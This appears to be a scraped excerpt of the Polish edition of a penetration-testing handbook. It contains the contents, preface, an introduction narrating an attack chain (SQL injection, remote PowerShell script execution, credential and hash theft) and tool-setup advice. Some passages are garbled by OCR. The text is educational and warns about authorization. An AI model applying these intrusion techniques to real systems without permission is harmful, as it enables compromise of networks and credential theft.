Podręcznik pentestera. Bezpieczeństwo systemów informatycznych 9788328303874

Just as a professional athlete doesn't show up without a solid game plan, ethical hackers, IT professionals, and se

210 45 18MB

Polish Pages [201] Year 2015

Report DMCA / Copyright

DOWNLOAD FILE

Polecaj historie

Podręcznik pentestera. Bezpieczeństwo systemów informatycznych
 9788328303874

Table of contents :
SPIS TREŚCI
Przedmowa
Wprowadzenie
DODATKOWE INFORMACJE NA TEMAT KSIĄŻKI
OSTRZEŻENIE
Rozdział 1. Przed grą — konfiguracja
Przygotowanie komputera do testów penetracyjnych
Sprzęt
Oprogramowanie komercyjne
Kali Linux
Maszyna wirtualna z systemem Windows
Podsumowanie
Rozdział 2. Przed gwizdkiem — skanowanie sieci
Skanowanie zewnętrzne
Analiza pasywna
Discover Scripts (dawniej BackTrack Scripts) — system Kali Linux
Realizacja analizy pasywnej
Użycie adresów e-mail i danych uwierzytelniających, które wyciekły do internetu
Analiza aktywna — wewnętrzna i zewnętrzna
Proces skanowania sieci
Skanowanie aplikacji webowych
Proces skanowania witryn
Skanowanie aplikacji internetowych
Podsumowanie
Rozdział 3. Ciąg — wykorzystywanie słabości wykrytych przez skanery
Metasploit
Podstawowe kroki związane z konfiguracją zdalnego ataku
Przeszukiwanie Metasploita (stara, dobra luka MS08-067)
Skrypty
Przykładowa luka w WarFTP
Podsumowanie
Rozdział 4. Rzut — samodzielne znajdowanie luk w aplikacjach webowych
Testy penetracyjne aplikacji webowych
Wstrzykiwanie kodu SQL
Wykonywanie skryptów między witrynami (XSS)
Atak CSRF
Tokeny sesji
Dodatkowe sprawdzenie danych wejściowych
Testy funkcjonalne i logiki biznesowej
Podsumowanie
Rozdział 5. Podanie boczne — poruszanie się po sieci
W sieci bez danych uwierzytelniających
Narzędzie Responder.py (Kali Linux)
Kroki do wykonania, gdy posiadamy podstawowy dostęp do domeny
Preferencje zasad grupy
Pobieranie danych uwierzytelniających zapisanych jawnym tekstem
Wskazówki dotyczące tego, co robić po włamaniu się do systemu
Kroki do wykonania, gdy posiadamy dostęp do lokalnego konta
administracyjnego lub konta administratora domeny
Przejęcie kontroli nad siecią za pomocą poświadczeń i narzędzia PsExec
Atak na kontroler domeny
Użycie narzędzia PowerSploit po wstępnym włamaniu (Windows)
Polecenia
PowerShell po wstępnym włamaniu (Windows)
Zatrucie ARP
IPv4
IPv6
Kroki do wykonania po zatruciu ARP
Tworzenie proxy między hostami
Podsumowanie
Rozdział 6. Ekran — inżynieria społeczna
Podobieństwo domen
Atak wykorzystujący SMTP
Atak wykorzystujący SSH
Ataki phishingowe
Metasploit Pro — moduł do phishingu
Social-Engineer Toolkit (Kali Linux)
Wysyłanie dużej ilości e-maili w ramach kampanii phishingowych
Inżynieria społeczna i Microsoft Excel
Podsumowanie
Rozdział 7. Wykop na bok — ataki wymagające fizycznego dostępu
Włamywanie się do sieci bezprzewodowych
Atak pasywny — identyfikacja i rekonesans
Atak aktywny
Atak fizyczny
Klonowanie kart
Testy penetracyjne z podrzuconej skrzynki
Fizyczne aspekty inżynierii społecznej
Podsumowanie
Rozdział 8. Zmyłka rozgrywającego — omijanie programów antywirusowych
Oszukiwanie skanerów antywirusowych
Ukrywanie WCE przed programami antywirusowymi (Windows)
Skrypty w języku Python
Podsumowanie
Rozdział 9. Zespoły specjalne — łamanie haseł, nietypowe luki
i inne sztuczki
Łamanie haseł
Narzędzie John the Ripper (JtR)
Narzędzie oclHashcat
Poszukiwanie słabych punktów
Searchsploit (Kali Linux)
Bugtraq
Exploit Database
Odpytywanie za pomocą narzędzia Metasploit
Wskazówki i sztuczki
Skrypty RC w Metasploit
Ominięcie UAC
Ominięcie filtrowania ruchu dla swoich domen
Windows XP — stara sztuczka z serwerem FTP
Ukrywanie plików (Windows)
Zapewnienie ukrycia plików (Windows)
Przesyłanie plików do komputera w systemach Windows 7 i Windows 8
Rozdział 10. Analiza po grze — raportowanie
Raport
Lista moich zaleceń i sprawdzonych rozwiązań
Rozdział 11. Kontynuacja edukacji
Główne konferencje
Konferencje, które polecam z własnego doświadczenia
Kursy
Książki
Książki techniczne
Ciekawe książki poruszające tematykę bezpieczeństwa informatycznego
Frameworki dotyczące testów integracyjnych
Zdobywanie flagi
Bądź na bieżąco
Kanał RSS i strony WWW
Listy mailingowe
Listy na Twitterze
Dodatek A: Uwagi końcowe
Podziękowania
Skorowidz

Citation preview

Tytuł oryginału: The Hacker Playbook: Practical Guide To Penetration Testing Tłumaczenie: Rafał Jońca ISBN: 978-83-283-0387-4 Copyright © 2014 by Secure Planet LLC. All rights reserved. Title of English-language original: The Hacker Playbook: Practical Guide To Penetration Testing, ISBN 978-1494932633, published by Secure Planet LLC. Polish language edition copyright © 2015 by Helion S.A. All rights reserved. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher. Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji. Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli. Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce. Wydawnictwo HELION ul. Kościuszki 1c, 44-100 GLIWICE tel. 32 231 22 19, 32 230 98 63 e-mail: [email protected] WWW: http://helion.pl (księgarnia internetowa, katalog książek) Drogi Czytelniku! Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/podpen_ebook Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.   

Poleć książkę na Facebook.com Kup w wersji papierowej Oceń książkę

 

Księgarnia internetowa Lubię to! » Nasza społeczność

SPIS TREŚCI Przedmowa ..................................................................................................7 Wprowadzenie ..............................................................................................9 Rozdział 1. Przed grą — konfiguracja . ...........................................................13 Przygotowanie komputera do testów penetracyjnych ............................................. 13 Sprzęt . ............................................................................................................. 13 Oprogramowanie komercyjne . ......................................................................... 14 Kali Linux . ....................................................................................................... 15 Maszyna wirtualna z systemem Windows . ....................................................... 20 Podsumowanie . .................................................................................................... 22

Rozdział 2. Przed gwizdkiem — skanowanie sieci ...........................................23 Skanowanie zewnętrzne . ....................................................................................... 23 Analiza pasywna . ............................................................................................. 23 Discover Scripts (dawniej BackTrack Scripts) — system Kali Linux ....................... 24 Realizacja analizy pasywnej . ............................................................................ 25 Użycie adresów e-mail i danych uwierzytelniających, które wyciekły do internetu . .......................................................................... 27 Analiza aktywna — wewnętrzna i zewnętrzna . ..................................................... 31 Proces skanowania sieci . .................................................................................. 31 Skanowanie aplikacji webowych . .......................................................................... 40 Proces skanowania witryn . ............................................................................... 40 Skanowanie aplikacji internetowych . ............................................................... 41 Podsumowanie . .................................................................................................... 49

Rozdział 3. Ciąg — wykorzystywanie słabości wykrytych przez skanery .............51 Metasploit . ........................................................................................................... 51 Podstawowe kroki związane z konfiguracją zdalnego ataku .............................. 52 Przeszukiwanie Metasploita (stara, dobra luka MS08-067) ............................... 52 Skrypty . ................................................................................................................ 54 Przykładowa luka w WarFTP . .......................................................................... 54 Podsumowanie . .................................................................................................... 56

PODRĘCZNIK PENTESTERA

Rozdział 4. Rzut — samodzielne znajdowanie luk w aplikacjach webowych . .... 57 Testy penetracyjne aplikacji webowych . ................................................................ 57 Wstrzykiwanie kodu SQL . ............................................................................... 57 Wykonywanie skryptów między witrynami (XSS) . ............................................ 66 Atak CSRF . ...................................................................................................... 73 Tokeny sesji . ................................................................................................... 76 Dodatkowe sprawdzenie danych wejściowych .................................................. 78 Testy funkcjonalne i logiki biznesowej . ............................................................ 82 Podsumowanie . .................................................................................................... 83

Rozdział 5. Podanie boczne — poruszanie się po sieci . .................................. 85 W sieci bez danych uwierzytelniających . ............................................................... 85 Narzędzie Responder.py (Kali Linux) . ............................................................... 86 Kroki do wykonania, gdy posiadamy podstawowy dostęp do domeny .................... 89 Preferencje zasad grupy . ................................................................................... 90 Pobieranie danych uwierzytelniających zapisanych jawnym tekstem ................ 92 Wskazówki dotyczące tego, co robić po włamaniu się do systemu .................... 94 Kroki do wykonania, gdy posiadamy dostęp do lokalnego konta administracyjnego lub konta administratora domeny . ..................................................................... 95 Przejęcie kontroli nad siecią za pomocą poświadczeń i narzędzia PsExec .......... 95 Atak na kontroler domeny . ............................................................................ 101 Użycie narzędzia PowerSploit po wstępnym włamaniu (Windows) ...................... 103 Polecenia . ...................................................................................................... 105 PowerShell po wstępnym włamaniu (Windows) . ................................................. 108 Zatrucie ARP . ..................................................................................................... 111 IPv4 . .............................................................................................................. 111 IPv6 . .............................................................................................................. 115 Kroki do wykonania po zatruciu ARP . ............................................................ 117 Tworzenie proxy między hostami . ...................................................................... 123 Podsumowanie . .................................................................................................. 124

Rozdział 6. Ekran — inżynieria społeczna . .................................................. 125 Podobieństwo domen . ......................................................................................... 125 Atak wykorzystujący SMTP . .......................................................................... 125 Atak wykorzystujący SSH . ............................................................................. 127 Ataki phishingowe . ............................................................................................. 128 Metasploit Pro — moduł do phishingu . ......................................................... 128 Social-Engineer Toolkit (Kali Linux) . ............................................................. 131 Wysyłanie dużej ilości e-maili w ramach kampanii phishingowych ................ 134 Inżynieria społeczna i Microsoft Excel . .......................................................... 135 Podsumowanie . .................................................................................................. 138

Rozdział 7. Wykop na bok — ataki wymagające fizycznego dostępu . ............. 141 Włamywanie się do sieci bezprzewodowych . ....................................................... 141 Atak pasywny — identyfikacja i rekonesans . .................................................. 142 Atak aktywny . ............................................................................................... 144 4

SPIS TREŚCI

Atak fizyczny . ..................................................................................................... 152 Klonowanie kart . ........................................................................................... 152 Testy penetracyjne z podrzuconej skrzynki . ................................................... 153 Fizyczne aspekty inżynierii społecznej . .......................................................... 156 Podsumowanie . .................................................................................................. 156

Rozdział 8. Zmyłka rozgrywającego — omijanie programów antywirusowych ...157 Oszukiwanie skanerów antywirusowych . ............................................................ 157 Ukrywanie WCE przed programami antywirusowymi (Windows) .................. 157 Skrypty w języku Python . ............................................................................... 161 Podsumowanie . .................................................................................................. 167

Rozdział 9. Zespoły specjalne — łamanie haseł, nietypowe luki i inne sztuczki ..........................................................................169 Łamanie haseł . ................................................................................................... 169 Narzędzie John the Ripper (JtR) . .................................................................... 171 Narzędzie oclHashcat . ................................................................................... 171 Poszukiwanie słabych punktów . ......................................................................... 175 Searchsploit (Kali Linux) . ............................................................................... 175 Bugtraq . ......................................................................................................... 176 Exploit Database . ........................................................................................... 176 Odpytywanie za pomocą narzędzia Metasploit . .............................................. 178 Wskazówki i sztuczki . ........................................................................................ 178 Skrypty RC w Metasploit . .............................................................................. 178 Ominięcie UAC . ............................................................................................ 179 Ominięcie filtrowania ruchu dla swoich domen ............................................. 180 Windows XP — stara sztuczka z serwerem FTP ............................................. 181 Ukrywanie plików (Windows) . ....................................................................... 181 Zapewnienie ukrycia plików (Windows) . ........................................................ 182 Przesyłanie plików do komputera w systemach Windows 7 i Windows 8 . ............................................................................. 184

Rozdział 10. Analiza po grze — raportowanie ...............................................185 Raport . ............................................................................................................... 185 Lista moich zaleceń i sprawdzonych rozwiązań .............................................. 186

Rozdział 11. Kontynuacja edukacji ..............................................................189 Główne konferencje . ........................................................................................... 189 Konferencje, które polecam z własnego doświadczenia ................................... 189 Kursy . ................................................................................................................. 190 Książki . ............................................................................................................... 190 Książki techniczne . ........................................................................................ 191 Ciekawe książki poruszające tematykę bezpieczeństwa informatycznego . ..... 191 Frameworki dotyczące testów integracyjnych . ..................................................... 191 Zdobywanie flagi . ............................................................................................... 192

5

PODRĘCZNIK PENTESTERA

Bądź na bieżąco . ................................................................................................. 192 Kanał RSS i strony WWW . ............................................................................. 193 Listy mailingowe . ........................................................................................... 193 Listy na Twitterze . ......................................................................................... 193

Dodatek A: Uwagi końcowe . ..................................................................... 195 Podziękowania . ....................................................................................... 196 Skorowidz . .............................................................................................. 197

6

PRZEDMOWA Nie obudziłem się pewnego dnia z myślą, że napiszę książkę na temat testów penetracyjnych — raczej wszystko potoczyło się samo. Zacząłem powoli kolekcjonować notatki z testów penetracyjnych, konferencji, artykułów na temat bezpieczeństwa, różnorakich badań, a nawet spisywać własne doświadczenia. Gdy notatki zaczęły się rozrastać, zacząłem znajdować coraz to lepsze sposoby na wykonywanie często powtarzających się zadań. Wiedziałem już, co działa, a co nie. Gdy zacząłem uczyć, prowadzić wykłady na konferencjach i ogólnie — zaangażowałem się w działalność społeczności związanej z zagadnieniami bezpieczeństwa informatycznego — okazało się, że społeczność ta mogłaby wiele zyskać na zapoznaniu się z moją wiedzą. Książka stanowi urzeczywistnienie tego pomysłu. Chciałbym w tym miejscu podkreślić, że nie jestem profesjonalnym autorem książek — pisanie potraktowałem jedynie jako hobby. Każdy ma swoje ulubione narzędzia, techniki i rozwiązania, z których korzysta najczęściej. To czyni ten zawód tak ekscytującym. W wielu sytuacjach istnieją różne odpowiedzi na to samo pytanie. Zachęcam do poznania wszystkich odpowiedzi. W książce nie pojawią się opisy, krok po kroku, dotyczące każdego rodzaju ataku. Zadaniem czytelnika jest samodzielne rozeznanie zagadnienia, wypróbowanie różnych metod i znalezienie tej odpowiedniej. W książce założyłem, że czytelnik posiada już pewną wiedzę na temat narzędzi do testowania bezpieczeństwa, jest na bieżąco z nowinkami z dziedziny bezpieczeństwa i ma określoną wiedzę na temat narzędzia Metasploit. Aby w pełni skorzystać z książki, nie trzeba być testerem wykonującym testy penetracyjne; niemniej odrobina pasji w zakresie bezpieczeństwa z pewnością się przyda. Głównym celem, jaki postawiłem sobie w tej książce, jest przedstawienie prostego i praktycznego podejścia do testów penetracyjnych. Istnieje wiele książek dotyczących bezpieczeństwa informatycznego, opisujących dokładnie każde z narzędzi i każdy słaby punkt systemu, choć z perspektywy typowego testera znaczenie ma jedynie niewielka grupa ataków. Mam nadzieję, że dzięki mojej książce wzrośnie zarówno wiedza na temat bezpieczeństwa, jak i praktyczna znajomość technik związanych z zabezpieczeniem własnego środowiska.

PODRĘCZNIK PENTESTERA

W poszczególnych rozdziałach przedstawię techniki i procesy rzeczywiście stosowane i stanowiące część typowych działań penetracyjnych. Nie zawsze będzie możliwe użycie techniki dokładnie w taki sam sposób, jaki zaprezentuję, ale dzięki opisowi będzie wiadomo, gdzie zacząć lub czego szukać. Zakończę przedmowę kilkoma radami, które moim zdaniem są pomocne. Aby stać się lepszym ekspertem do spraw zabezpieczeń, skup się na następujących zadaniach: 1. Poznawaj, analizuj i staraj się zrozumieć słabe punkty systemów i miejsca podatne na atak. 2. Ćwicz w kontrolowanym środowisku wykorzystanie słabych punktów, a następnie ich wzmacnianie. 3. Przeprowadzaj testy w rzeczywistym środowisku. 4. Ucz innych, prezentując wyniki społeczności. Przedstawione punkty powtarzaj cyklicznie, ponieważ dzięki temu wejdziesz na wyższy poziom. Jeszcze raz dziękuję za chęć przeczytania tej książki — mam nadzieję, że jej lektura sprawi czytelnikowi tyle samo przyjemności, ile mnie sprawiło jej pisanie.

8

WPROWADZENIE

WPROWADZENIE Zgarbiony nad klawiaturą, w słabo oświetlonym pokoju i nieco sfrustrowany, zapewne po wypiciu zbyt wielu napojów energetycznych, sprawdzasz telefon. Na jasnym ekranie LCD z trudem udaje Ci się przeczytać, że właśnie minęła 3 nad ranem. „Wspaniale” — myślisz w duchu. Test zakończy się za 5 godzin, a nie udało Ci się znaleźć żadnego słabego punktu, który dałby się łatwo wykorzystać. Żadne skany nie zwróciły niczego godnego uwagi, więc zapewne nikt nie zaakceptuje raportu, w którym większość miejsca poświęcono kwestiom bezpiecznego przesyłania plików cookie. Potrzebujesz rzutem na taśmę jakiegoś spektakularnego sukcesu, otwierasz więc książkę Podręcznik pentestera na rozdziale pod tytułem „Rzut — samodzielne znajdowanie luk w aplikacjach webowych”. Przeglądając ten rozdział, zdajesz sobie sprawę, że pominąłeś sprawdzanie plików cookie pod kątem podatności na wstrzykiwanie kodu SQL. Myślisz sobie: „Automatyczny skaner z pewnością pominął coś takiego”. Uruchamiasz narzędzie SQLMap z opcją obsługi plików cookie. Po kilku minutach tekst na ekranie zaczyna się przesuwać, by ostatecznie zatrzymać się na fragmencie o treści: System operacyjny serwera: Windows 2008 Technologia aplikacji webowej: ASP.net, Microsoft IIS 7.5 DBMS: Microsoft SQL Server 2008 Doskonale. Używasz narzędzia SQLMap, by przejść do wiersza poleceń, ale okazuje się, że nie masz uprawnień administratora. „Co powinno być następnym logicznym krokiem? Jak bardzo chciałbym znać sztuczki przydatne po znalezieniu exploita”. Przypominasz sobie, że książka zawiera i tego rodzaju informacje. Otwierasz rozdział „Podanie boczne — poruszanie się po sieci” i czytasz go dokładnie. Możliwych rozwiązań jest wiele, lecz sprawdźmy najpierw, czy serwer jest połączony z domeną i czy preferencje uprawnień grup umożliwiają ustawianie lokalnych administratorów. Wykorzystując polecenie IEX z PowerShella, wymuszasz na serwerze pobranie skryptu GPP PowerSploita, wykonanie go i zapisanie wyniku w pliku. Wydaje się, że zadanie się powiodło, i to bez zaalarmowania aplikacji antywirusowej! Odczytujesz zawartość pliku wyeksportowanego przez skrypt i znajdujesz w nim hasło lokalnego administratora.

9

PODRĘCZNIK PENTESTERA

Teraz wszystko idzie już z górki… uruchamiasz powłokę Meterpretera z uprawnieniami administratora, dostajesz się do serwera i używasz narzędzia smbexec w celu wydobycia z kontrolera domeny skrótów dotyczących wszystkich użytkowników. Oczywiście to przykład bardzo szybki i wysokopoziomowy, ale doskonale obrazuje, w jaki sposób chciałem podzielić treść książki na poszczególne rozdziały. Książka składa się z 10 głównych rozdziałów podzielonych w sposób przypominający rozgrywkę futbolu amerykańskiego:  Przed grą — opis sposobu konfiguracji maszyn atakujących oraz narzędzi używanych w dalszej części książki.  Przed gwizdkiem — przed rozpoczęciem gry trzeba sprawdzić całe środowisko i dowiedzieć się, z czym się ma do czynienia. Rozdział dotyczy przede wszystkim odkrywania systemu i inteligentnego skanowania.  Ciąg — wykorzystujemy słabe punkty zidentyfikowane przy użyciu skanowania i staramy się uzyskać dostęp do systemu. Dopiero tu zaczynają się „brudzić rączki”, ponieważ chcemy się dostać do systemu.  Rzut — czasem trzeba wykazać się kreatywnością i samemu poszukać celu. Dowiesz się, jak znaleźć słaby punkt i wykorzystać luki w aplikacjach webowych.  Podanie boczne — po włamaniu się do systemu trzeba zacząć się poruszać po sieci, najczęściej zakosami.  Ekran — typ rozgrywki mający na celu oszukanie wroga. W tym rozdziale przedstawię kilka sztuczek z zakresu inżynierii społecznej.  Wykop na bok — krótkie, celowe kopnięcie piłki na niewielką odległość. W tym rozdziale omówię ataki wymagające fizycznego dostępu do maszyny.  Zmyłka rozgrywającego — gdy do linii zostało tylko kilka metrów, zmyłka i bieg sprawdzają się doskonale. Czasem duży problem może sprawić program antywirusowy. W tym rozdziale opiszę, w jaki sposób oszukać tego natręta.  Zespoły specjalne — łamanie haseł, nietypowe luki i inne sztuczki.  Analiza po grze — raport na temat znalezionych słabych punktów. Zanim rozpoczniesz atak na różne sieci i w konsekwencji zaczniesz lawirować między różnymi zabezpieczeniami i omijać program antywirusowy, warto, abyś przyswoił sobie odpowiedni sposób myślenia. Wyobraź sobie, że zostałeś zatrudniony jako tester do realizacji testów penetracyjnych, aby sprawdzić zabezpieczenia stosowane przez firmę z listy 500 największych przedsiębiorstw. Gdzie zaczniesz? Jakie podstawowe testy zawsze przeprowadzisz? W jaki sposób zapewnisz wykonywanie tych samych testów dla wszystkich klientów i kiedy wykonasz coś ekstra? Książka ma za zadanie uświadomić to, na czym polega właściwe podejście do realizacji zadań.

10

WPROWADZENIE

DODATKOWE INFORMACJE NA TEMAT KSIĄŻKI Warto podkreślić, że książka zawiera wyłącznie moje osobiste uwagi i doświadczenia. Nie jest w żaden sposób związana z moimi poprzednimi i obecnymi pracodawcami. Nie dotyczy również żadnych prac wykonywanych poza obszarem w niej opisywanym. Jeśli w książce znajdują się niewłaściwe informacje lub jeśli zapomniałem wskazać rzeczywistego autora konkretnej techniki penetracyjnej, proszę o kontakt za pośrednictwem strony http://www.thehackerplaybook.com. Mam jedno bardzo cenne zalecenie dla każdej osoby uczącej się testów penetracyjnych — pobierz skrypty i postaraj się odtworzyć je w innym języku programowania. Osobiście lubię korzystać z języka Python podczas tworzenia nowych exploitów lub przepisywania istniejących narzędzi od podstaw. To niezwykle ważne, gdyż unika się uzależnienia od konkretnego narzędzia, a dodatkowo uzyskuje się wiedzę, dlaczego słaby punkt tak naprawdę jest słabym punktem. Powtórzę to z całą stanowczością — to praktyka czyni mistrza. Często słyszałem, że osiągnięcie mistrzostwa w jakiejś dziecinie wymaga 10 tysięcy godzin pracy. Choć nie wierzę, żeby ktokolwiek kiedykolwiek stał się na zawsze mistrzem testów penetracyjnych, to sądzę, że długa praktyka z pewnością powoduje, iż testy penetracyjne niejako wchodzą w krew.

OSTRZEŻENIE Jak powinno to być zaznaczone w każdej książce dotyczącej hakerstwa, także w mojej książce przypomnę, że nie należy testować systemów, których nie jesteśmy właścicielami lub co do których nie uzyskaliśmy wcześniejszej zgody na atak lub skanowanie. Pamiętasz zdarzenie, w którym to pewna osoba dołączyła przez jedną minutę do anonimowego ataku hakerskiego i została skazana na karę wynoszącą 183 tys. dol.?1 Upewnij się, że masz pisemną zgodę na wykonanie testu od firmy, dostawcy internetu, dostawcy hostingu lub kogokolwiek innego, kto może stać się elementem penetracji. Wszystkie skanowania i ataki przećwicz najpierw w środowisku testowym, zanim zaatakujesz środowisko produkcyjne. Zawsze istnieje prawdopodobieństwo, że test spowoduje wyłączenie lub uszkodzenie systemu produkcyjnego, co może doprowadzić do poważnych szkód. Pragnę podkreślić, że książka nie opisuje wszystkich rodzajów ataków oraz że zawarte w niej informacje nie zawsze dotyczą najlepszego lub najbardziej efektywnego sposobu realizacji zadania. To jedynie omówienie stosowanych przeze mnie technik, które okazały się skuteczne. Jeśli w tekście znajdziesz oczywiste błędy lub znasz lepszy sposób realizacji konkretnych testów, daj mi znać. 1

http://mashable.com/2013/12/09/anonymous-attack-fine/ 11

PODRĘCZNIK PENTESTERA

12

Rozdział 1.

PRZED GRĄ — KONFIGURACJA Ten rozdział opisuje stosowaną przeze mnie metodologię oraz zalecaną konfigurację systemu atakującego. Jednym z najważniejszych aspektów testowania jest powtarzalność całego procesu. W tym celu trzeba posiadać odpowiedni system bazowy, narzędzia i ściśle zdefiniowane procesy. Przedstawię tutaj sposób konfiguracji platformy testowej oraz instalacji wszystkich narzędzi dodatkowych omawianych w dalszej części książki. Po utworzeniu i skonfigurowaniu systemu zgodnie z przedstawionymi wytycznymi nie powinieneś mieć problemów z większością przykładów i prezentacji zamieszczonych w książce. Przygotujmy się do bitwy.

PRZYGOTOWANIE KOMPUTERA DO TESTÓW PENETRACYJNYCH We wszystkich przeprowadzanych testach penetracyjnych stosuję dwie różne maszyny wirtualne (jedną z systemem Linux i jedną z systemem Windows). Jeśli pełny komfort zapewnia Ci inna platforma bazowa, użyj jej. Tak naprawdę najważniejsze jest utworzenie systemu bazowego, który pozostanie jednorodny we wszystkich testach. Po skonfigurowaniu systemu bazowego tworzę migawkę maszyny wirtualnej w wersji czystej i skonfigurowanej. W ten sposób, wykonując kolejne testy, muszę jedynie wrócić do systemu bazowego, zastosować poprawkę, zaktualizować narzędzia i dodać nowe narzędzia. Zaufaj mi — ta taktyka pozwala oszczędzić mnóstwo czasu. W przeszłości zbyt wiele czasu traciłem na konfigurację narzędzi przed testem penetracyjnym — tak naprawdę powinienem mieć te narzędzia zainstalowane od samego początku.

SPRZĘT Przed pobraniem maszyn wirtualnych i instalacją narzędzi upewnij się, że posiadany komputer będzie w stanie wszystkiemu podołać. Przedstawione informacje to jedynie zalecenia, więc sam dokonaj odpowiedniej oceny. Nie ma tak naprawdę znaczenia, czy system bazowy do uruchamiania maszyn wirtualnych to Linux, Windows czy OS X. Liczy się tylko to, by nie zawierał żadnego malware’u.

PODRĘCZNIK PENTESTERA

Podstawowe wymagania sprzętowe

Choć przedstawione wymagania mogą początkowo wydawać si� wysokie, warto pami�­ tać, że jednoczesne uruchomienie kilku maszyn wirtualnych zużywa zasoby niezwylde szybko. •

Laptop z przynajmniej 8 GB pami�ci RAM.



Dysk twardy o pojemności 500 GB, najlepiej dysk SSD.



4- rdzeniowy procesor Intel i 7.



Oprogramowanie do maszyn wirtualnych - VMware Workstation (lub VMware Fusion albo VMware Player) albo VirtualBox.



Zewn�trzna karta sieci bezprzewodowej USB - obecnie używam karty Alfa AWUS051NH.

&

Opcjonalny sprzęt omawiany w dalszej części książki

�� �� �



Karta GPU do łamania haseł - musi zostać zains



Kilka płyt CD lub nap�dów flash (inżynieria społ



Urządzenie ODRO ID-U2.

Jeśli masz zamiar zajmować si� test

·

komputerze.

·

(}i'

�Q'

OPROGRAMOWANIE KOMERCYJNE



cyjnymi na poważnie, bardzo mocno za­ lecam zakup licencji (lub poproszeni · o ich zakup, ponieważ nie należą do tanich) na wymienione oprogramowanie. CH ' am zakup nie jest niezb�dny, znacząco ułatwia prac�. W szczególności dotycZY. skanery te są przydatne, jedn skanerów, a jedynie te, k '



z

�ienionych dalej skanerów aplikacji webowych gie. Nie wymieniam wszystkich możliwych rodzajów sam z powodzeniem użyłem.

artykuł "HackMiami Web Application Scanner 2013 PwnOff" (http://haclaniami.org!whitepapers/HackMiami2013PwnOff.pdf), porównujący poszczegól­

W intemecie można

ne narz�dzia, a talzże starszy artykuł dotyczący tego samego tematu (http://sectooladclict. blogspot.com/2012/07/2012-web-application-scanner-benchmark.html). •

Skanery słabych punktów - Nexpose i Nessus (wysoce zalecane): •

Nexpose -http://www.rapidl.com/products/nexpose,



Nessus - http://www.tenable.com/products/nessus.

Oba narz�dzia działają bardzo dobrze po zakupieniu licencji indywidualnej. Dostrzegłem sporą różnic� w cenie mi�dzy wymienionymi narz�dziami. Dla indywidualnego testera Nessus jest znacznie tańszy. Oba skanery stanowią niejako branżowy standard. •

Skaner aplikacji webowych i narz�dzie do r�cznego testowania aplikacji webowych (wysoce zalecany) - Burp Suite (http://portswigger.net/burp/). 14

ROZDZIAŁ l. PRZED GRĄ- KONFIGURACJA

To narz�dzie naprawd� warto zakupić. Oferuje bowiem wiele funkcji i jest aktywnie rozwijane. Jego koszt to około 300 dolarów. Jeśli zakup nie wchodzi w gr�, polecam skaner OWASP ZAP (https://www.owasp.org/index.php!

OWASP_Zed_Attack_Proxy_Project), który oferuje wiele podobnych funkcji i również jest aktywnie rozwijany. Wszystkie przykłady umieszczone w książce dotyczą Burp Suite Pro, które okazało si� niezwylde przydatnym narz�dziem. •

Zautomatyzowane skanery aplikacji webowych - IBM Security AppScan i HP Webinspect: •

IBM Security AppScan dost�pny pod adresem http://www-03.ibm.com/

software/products/en/appscan, •

HP Webinspect dost�pny pod adresem http://wwwS.hp.com/us/en/ software-solutions/software.html �comp URI 1341991. =

Udało mi si� osiągnąć zadowalające wyniki w przypadku �óch wymienionych skanerów; użyj tego, który mieści si� w dost�pnym bu �� Musz� w tym

��rz�dzi, ponieważ ich konfiguracja jest dziecinnie prosta. Polecam j� �m zajmującym si�

miejscu podkreślić, iż książka nie opisuje żadnego �c

��

profesjonalnie testowaniem aplikacji webo �

sprawdzającym programy typu enterpris

\?S-

osobom regularnie

0

KALl LINUX

Q

Kali (http://www.kali.org/) to dystry�



emu Linux dostosowana do testów pene­

tracyjnych, wi�c tuż po instalacji � mnóstwo najcz�ściej stosowanych narz�dzi. st�i� standardem i wiele osób na jej podstawie two­ Można powiedzieć, że w zasa

��\ rzy własne rozwiązania. Kali� �awiera sporo narz�dzi, z których cz�sto korzystam,



dodaj� jednak również lal�własnych. Niektóre narz�dzia, taltie jak Windows Creden­

tials Editor (WCE),

nie pobieram najno

�ajdować si� w dystrybucji, z tym że najcz�ściej samodziel­

wersj�. Dodatkowo przechowuj� w osobnym miejscu zmodyfi­

kowane przeze siebie p ilti binarne (w celu oszukania programu antywirusowego), żeby nie zostały nadpisane. Oczywiście to nie jedyna dobra dystrybucja związana z testami penetracyjnymi. Inną dystrybucją, którą mog� polecić, jest Pentoo (http:// www.pentoo.ch/). Przyjrzyjmy si� jednak dokładniej dystrybucji systemu Kali Linux i narz�dziom dodatkowym. Ogólna lista dodatkowych narzędzi poza dystrybucją Kali Linux •

Discover Scripts (dawniej BackTrack Scripts),



smbexec,



Veil,



WCE,

15

PODRĘCZNIK PENTESTERA •

Mimikatz,



password lists,



Burp Suite,



Peeping Tom,



Nmap,



PowerSploit,



Responder,



BeEF,



Firefox: •

dodatek Web Developer,



dodatek Tamper Data,



dodatek FoxyProxy,



dodatek User Agent Switcher.

� �

���

Pobranie dystrybucji Kali Linnx

Istnieje wiele sposobów konfiguracji komput r p jednak wybrać taką konfiguracj�, aby możliwe wi�kszej liczby przyldadów zawartych w książ nie z przedstawionymi zaleceniami. Parni�ta



Dystrybucj� Kali Linux można lecam jednalz pobranie gotowe -linux-vmware-arm-im geje, żeby uzyskać plik V .

Konfiguracja

system

ra

amodzielne zrealizowanie jak naj­

P staraj si� skonfigurować system zgod­ nalz, że niektóre narz�dzia cały czas ewo­

@



��

luują i niekiedy konieczna b�dzie zmi



adzającego atak. Starałem si�

wnych ustawień.

d adresem http://www.kah.orgldownloads!. Za­

azu VMware (http://www.offensive-security.com/kali­ oad!). To skompresowane archiwum tar, wi�c rozpakuj

Kali Linux i narzędzi

